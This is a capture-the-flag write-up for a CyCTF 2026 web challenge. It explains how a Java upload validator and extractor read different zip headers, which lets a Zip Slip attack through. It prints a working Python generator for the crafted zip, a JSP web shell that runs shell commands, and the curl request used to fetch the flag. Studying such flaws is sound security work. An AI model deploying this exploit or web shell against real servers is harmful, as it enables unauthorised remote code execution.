← Back to list

Zip TOCTOU to RCE via Zip Slip — Lazy Pharaoh | CyCTF 2026 Quals

Hey! It’s Ahmed (aka Pizza Steve) back with a writeup for the Lazy Pharaoh web challenge.

Ahmed Mohammed · 2026-03-14 22:30 · 13 claps · 3.8 min read
#ctf #ctf-writeup #cyctf #web #cybersecurity
Open on Medium ↗
Wiki topics: 🔒 · Cybersecurity

Zip TOCTOU to RCE via Zip Slip — Lazy Pharaoh | CyCTF 2026 Quals

Hey! It’s Ahmed (aka Pizza Steve) back with a writeup for the Lazy Pharaoh web challenge.

First, I want to thank all authors for the high quality challenges and my great team for their efforts as we qualified for the finals!

Without further ado, let’s begin!

Initial Recon

When we first visit the website, we encounter a login/registration page followed by an upload function. From here, we start with the first step: recon.

The source code was provided, so let’s dig in.

The key files are:

  • FileService.java: handles zip validation (isSafeZip()) and extraction (extractZip())
  • TomcatConfig.java: configures the embedded Tomcat server
  • SecurityConfig.java: defines what routes need authentication
  • docker-compose.yml : reveals where the flag actually lives

The first thing that caught my eye in docker-compose.yml:

environment:
  - FLAG=CyCTF{Fake_flag}

So the flag is an environment variable, not a file. That means we need code execution, not just a file read.

Finding the Vulnerability

After analyzing the code, the core vulnerability is Zip Slip, a well-known path traversal attack where a maliciously crafted zip contains entries with names like ../../../etc/passwd. This causes the extractor to write files outside the intended directory. In our case, we use it to drop a JSP shell into the Tomcat webroot and get RCE.

The interesting twist is that the app tries to defend against it with a validator, but the defense is broken due to a TOCTOU flaw we can exploit.

The Upload Flow

When you upload a .zip, the server does two things in sequence:

  1. Runs isSafeZip() to validate the zip entries
  2. Runs extractZip() to actually extract the files

The problem is that they use two completely different Java APIs to read the same file.

Validator

// VALIDATOR uses ZipFile
try (ZipFile zf = new ZipFile(tempFile)) {
    // reads entry names from the Central Directory (end of file)
    String name = entry.getName();
    // checks: no .., no /, no .jsp/.war/.jar/.class
}

Extractor

// EXTRACTOR uses ZipInputStream
try (ZipInputStream zis = new ZipInputStream(bis)) {
    // reads entry names from Local File Headers (sequential)
    String entryName = entry.getName();
    Path outputPath = extractDir.resolve(entryName).normalize();
    // writes directly, no checks here!
}

This is a classic TOCTOU (Time-of-Check / Time-of-Use) bug. The check and the extraction never see the same data. But what’s TOCTOU?

A TOCTOU (Time-of-Check to Time-of-Use) bug is a race condition vulnerability where a program checks a resource’s state (e.g., file permissions, database record) and then acts on it, but the state changes between the “check” and the “use”.

Why Do They See Different Data?

A ZIP file stores entry metadata in two separate locations:

  • The Local File Header is located before each file’s data in the ZIP archive and is used by ZipInputStream.
  • The Central Directory is located at the end of the ZIP file and is used by ZipFile.

Both store the entry name, but they’re stored separately and can differ. A crafted zip can have safe.txt in the Central Directory (what the validator sees) and ../../../webroot/shell.jsp in the Local File Header (what the extractor uses).

The validator sees a harmless text file. The extractor writes a JSP shell.

Where Does It Land?

TomcatConfig.java file tells us something important:

public static final String WEBROOT = "/app/webroot/";
factory.setDocumentRoot(new File(WEBROOT));

Tomcat serves files from /app/webroot/. And SecurityConfig.java makes it even better for us:

.requestMatchers(new AntPathRequestMatcher("/**/*.jsp")).permitAll()

Any .jsp in the webroot executes with zero authentication. So we just need to upload our shell there.

Getting the Traversal Depth Right

The extract directory is /app/uploads/{username}/{timestamp}. That's 3 levels deep from /app. So to reach /app/webroot/:

/app/uploads/user/timestamp  →  start
/app/uploads/user            →  ../
/app/uploads                 →  ../../
/app                         →  ../../../
/app/webroot/shell.jsp       →  ../../../webroot/shell.jsp

I initially used ../../webroot/shell.jsp which landed at /app/uploads/webroot/shell.jsp, not served by Tomcat, hence the 404 error I got. One extra ../ fixed it.

Building the Exploit

The key is making a zip where ZipFile reads safe.txt from the Central Directory, but ZipInputStream reads ../../../webroot/shell.jsp from the Local File Header.

import struct, zlib

jsp_payload = b'''<%@ page import="java.io.*" %><%
  String cmd = request.getParameter("cmd");
  if(cmd != null) {
    Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line; StringBuilder sb = new StringBuilder();
    while((line=br.readLine())!=null) sb.append(line).append("\\n");
    out.print(sb.toString());
  }
%>'''

def make_zip(local_name: bytes, central_name: bytes, data: bytes) -> bytes:
    crc = zlib.crc32(data) & 0xFFFFFFFF

    # Local File Header that is read by ZipInputStream (the extractor)
    local_header = struct.pack('<4sHHHHHIIIHH',
        b'PK\x03\x04', 20, 0, 0, 0, 0,
        crc, len(data), len(data),
        len(local_name), 0
    ) + local_name + data

    # Central Directory which is read by ZipFile (the validator)
    central_header = struct.pack('<4sHHHHHHIIIHHHHHII',
        b'PK\x01\x02', 20, 20, 0, 0, 0, 0,
        crc, len(data), len(data),
        len(central_name), 0, 0, 0, 0, 0,
        0
    ) + central_name

    # End of Central Directory
    eocd = struct.pack('<4sHHHHIIH',
        b'PK\x05\x06', 0, 0, 1, 1,
        len(central_header), len(local_header), 0
    )

    return local_header + central_header + eocd

malicious_zip = make_zip(
    local_name=b'../../../webroot/shell.jsp',  # seen by ZipInputStream
    central_name=b'safe.txt',                  # seen by ZipFile
    data=jsp_payload
)

with open('exploit.zip', 'wb') as f:
    f.write(malicious_zip)

print('[+] exploit.zip ready')

Getting the Flag

Now we upload exploit.zip. The server validates against safe.txt, extracts to ../../../webroot/shell.jsp, and Tomcat serves it instantly.

curl https://cyctf-luxor-8e0c2493c1b5-lazzy-0-0.chals.io/shell.jsp?cmd=printenv+FLAG

Flag:

CyCTF{egMGP-6PiOKj41vMm29cswWU8CfMWXNkijRnvkp69Sj4MpjNpgsujJA9TYmv70gljf-tT242N-wqeCbw9p4EOqChf7myfab9AA}

메타데이터
post_id
48243cc0844e
slug
zip-toctou-to-rce-via-zip-slip-lazy-pharaoh-cyctf-2026-quals-48243cc0844e
url
https://medium.com/@pizzasteve/zip-toctou-to-rce-via-zip-slip-lazy-pharaoh-cyctf-2026-quals-48243cc0844e
canonical_url
https://medium.com/@pizzasteve/zip-toctou-to-rce-via-zip-slip-lazy-pharaoh-cyctf-2026-quals-48243cc0844e
author_url
https://medium.com/@pizzasteve
status
ok
fetched_at
2026-06-23 03:48:11